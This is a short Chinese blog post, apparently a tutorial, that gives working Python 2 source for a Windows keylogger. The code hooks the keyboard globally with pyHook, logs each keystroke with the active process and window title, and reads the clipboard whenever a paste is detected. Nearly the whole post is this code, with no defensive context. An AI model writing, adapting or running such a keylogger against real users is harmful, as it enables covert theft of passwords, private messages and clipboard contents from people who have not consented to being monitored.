使用python实现简易键盘记录功能

使用python实现简易键盘记录功能


环境准备

流程图


图片转载自

代码实现

    from ctypes import *
    import pyHook
    import pythoncom
    import win32clipboard

    user32 = windll.user32
    kernel32 = windll.kernel32
    psapi = windll.psapi
    current_window = None

    def get_current_process():
        # 获取最上层的窗口句柄
        hwnd = user32.GetForegroundWindow()

        # 获取进程ID
        pid = c_ulong(0)
        user32.GetWindowThreadProcessId(hwnd, byref(pid))

        # 将进程ID存入变量中
        process_id = "%d" % pid.value

        # 申请内存
        executable = create_string_buffer("\x00" * 512)
        h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)

        psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512)

        # 读取窗口标题
        windows_title = create_string_buffer("\x00" * 512)
        length = user32.GetWindowTextA(hwnd, byref(windows_title), 512)

        # 打印
        print
        print "[ PID:%s-%s-%s]" % (process_id, executable.value,    windows_title.value)
        print

        # 关闭handles
        kernel32.CloseHandle(hwnd)
        kernel32.CloseHandle(h_process)


    # 定义击键监听事件函数
    def KeyStroke(event):
        global current_window

        # 检测目标窗口是否转移(换了其他窗口就监听新的窗口)
        if event.WindowName != current_window:
            current_window = event.WindowName
            # 函数调用
            get_current_process()

        # 检测击键是否常规按键(非组合键等)
        if event.Ascii > 32 and event.Ascii < 127:
            print chr(event.Ascii),
        else:
            # 如果发现Ctrl+v(粘贴)事件,就把粘贴板内容记录下来
            if event.Key == "V":
                win32clipboard.OpenClipboard()
                pasted_value = win32clipboard.GetClipboardData()
                win32clipboard.CloseClipboard()
                print "[PASTE]-%s" % (pasted_value),
            else:
                print "[%s]" % event.Key,
        # 循环监听下一个击键事件
        return True

    # 创建并注册hook管理器
    kl = pyHook.HookManager()
    kl.KeyDown = KeyStroke

    # 注册hook并执行
    kl.HookKeyboard()
    pythoncom.PumpMessages()
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • # Python 资源大全中文版 我想很多程序员应该记得 GitHub 上有一个 Awesome - XXX 系列...
    aimaile阅读 26,725评论 6 427
  • 作者:周纵苇 微博:@MrGiovanni 邮箱:zongweiz@asu.edu Please cite thi...
    MrGiovanni阅读 45,445评论 7 32
  • 1. 介绍 任何语言的包,依赖和环境管理:Python,R,Ruby,Lua,Scala,Java,Javascr...
    Himryang阅读 74,696评论 6 67
  • 环境管理管理Python版本和环境的工具。p–非常简单的交互式python版本管理工具。pyenv–简单的Pyth...
    MrHamster阅读 9,247评论 1 61
  • 在西安南郊一个破败不堪的小院中,黯然矗立着一处不为人所知的建筑基座,千年的风霜洗礼残忍地剥蚀了它曾经华美的形貌,仅...
    寰宇笔记阅读 1,873评论 2 5

友情链接更多精彩内容